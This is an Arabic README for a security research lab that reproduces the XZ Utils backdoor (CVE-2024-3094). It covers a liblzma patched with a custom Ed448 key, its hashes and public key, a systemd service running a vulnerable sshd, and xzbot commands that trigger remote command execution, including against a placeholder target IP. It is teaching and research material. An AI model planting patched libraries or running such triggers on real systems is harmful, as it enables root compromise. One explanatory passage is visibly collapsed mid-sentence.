
مختبر تعليمي يعيد إنتاج الباب الخلفي XZ Utils (CVE-2024-3094) مع زوج مفاتيح Ed448 مخصص. يتضمن liblzma مصححًا وخدمة systemd وعميل استغلال للبحث الأمني المصرح به.
لأغراض تعليمية وبحث أمني مصرح به فقط.
ثغرة CVE-2024-3094 هي باب خلفي تم تقديمه في الإصدارين 5.6.0 و5.6.1 من XZ Utils (liblzma)، تم اكتشافها في 29 مارس 2024 بواسطة باحث الأمن أندريس فرويند. تم تخصيص درجة CVSS 10.0 (حرجة).
هذا هجوم على سلسلة التوريد تم تنفيذه على مدى أكثر من عامين بواسطة جهة تهديد تُعرف باسم "Jia Tan" (JiaT75)، التي بنت الثقة داخل المشروع حتى حصلت على حالة المشارك في الصيانة وأدخلت الباب الخلفي مباشرة في حزم التوزيع المضغوطة.
يعمل الباب الخلفي على النحو التالي:
liblzma.so الخبيث بربط دالة RSA_public_decrypt() في OpenSSH عبر آلية IFUNC الخاصة بـ glibc، مما يعترض عملية مصادقة SSH.system() بصلاحيات sshd (الجذر).يعيد هذا المختبر إنتاج آلية الباب الخلفي باستخدام مفاتيح Ed448 مخصصة بدلاً من مفاتيح الجهة الأصلية (التي لم تُنشر أبدًا).
في الأنظمة المتأثرة الحقيقية لم يكن هناك chroot. عمل الباب الخلفي مباشرة على sshd النظام، الذي قام بتحميل liblzma.so الخبيث مثل أي مكتبة مشتركة أخرى — بشفافية تامة للنظام ومسؤوليه.
في هذا المختبر نستخدم chroot فقط لسبب عملي: نحتاج إلى تشغيل sshd بإصدار معين من liblzma.so دون استبدال مكتبات النظام المضيف. هذا قرار تصميمي لبيئة البحث، وليس انعكاسًا لكيفية عمل الباب الخلفي في الإنتاج.
| المكون | الوصف |
|---|---|
env_fs/ | نظام ملفات Ubuntu 22.04 الأدنى المستخدم كـ chroot |
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 | liblzma 5.6.1 مُصحح بمفتاح Ed448 مخصص |
/etc/systemd/system/xzback.service | خدمة systemd تُطلق sshd الضعيف على المنفذ 2024 |
/xzbot/xzbot | عميل الاستغلال المُجمّع من المصدر |
يتطلب الباب الخلفي الأصلي شروطًا محددة جدًا لا توجد تلقائيًا في بيئة المختبر. كانت التعديلات التالية ضرورية:
يستخدم liblzma.so.5 الموجود في مستودع MagpieRYL الأصلي مفتاح Ed448 غير معروف غير متوافق مع ثنائي xzbot المضمن. تم تنزيل liblzma.so.5.6.1 الأصلي والحقيقي من لقطة Debian (تم التحقق من sha256) وتصحيحه باستخدام patch.py من amlweems/xzbot مع seed=0:
original sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset: 0x24470
تم استبدال المفتاح العام Ed448 للجهة الأصلية بما يلي:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
تستخدم الخدمة الأصلية Type=notify، والتي تتطلب من sshd إرسال إشعار بدء التشغيل إلى systemd. لا يرسل sshd داخل chroot هذا الإشعار، مما يسبب انتهاء المهلة. تم التغيير إلى Type=simple.
يتطلب sshd وجود /run/sshd لفصل الامتيازات. هذا الدليل غير موجود في chroot ويتم مسحه في كل إعادة تشغيل لأن run/ هي tmpfs. تم الحل باستخدام ExecStartPre التي تعيد إنشاؤه تلقائيًا قبل كل بدء خدمة.
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
يتم تنفيذ الأمر داخل chroot، لذا أي ملف يتم إنشاؤه تحت /tmp/ ضمن سياق الباب الخلفي يُخزن في:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
أي إذا كان الأمر echo pwned > /tmp/result، فسيتم العثور على الملف في:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
لتحديد موقع أي ملف ناتج عن الاستغلال:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
الرسالة ssh: handshake failed: EOF هي السلوك المتوقع والصحيح. يقوم الباب الخلفي بتنفيذ الأمر ويغلق الاتصال دون إنشاء جلسة SSH. لا تشير إلى فشل.
يستخدم هذا المختبر زوج مفاتيح تشفير مخصص (seed=0). يقبل liblzma.so المُصحح فقط الحمولات الموقعة بالمفتاح الخاص المقابل، وهو المستخدم بواسطة xzbot المُجمّع في هذه البيئة. أي عميل آخر سيتلقى EOF دون تنفيذ.
تم توفير هذه الأداة لأغراض تعليمية واختبار أمني مصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام.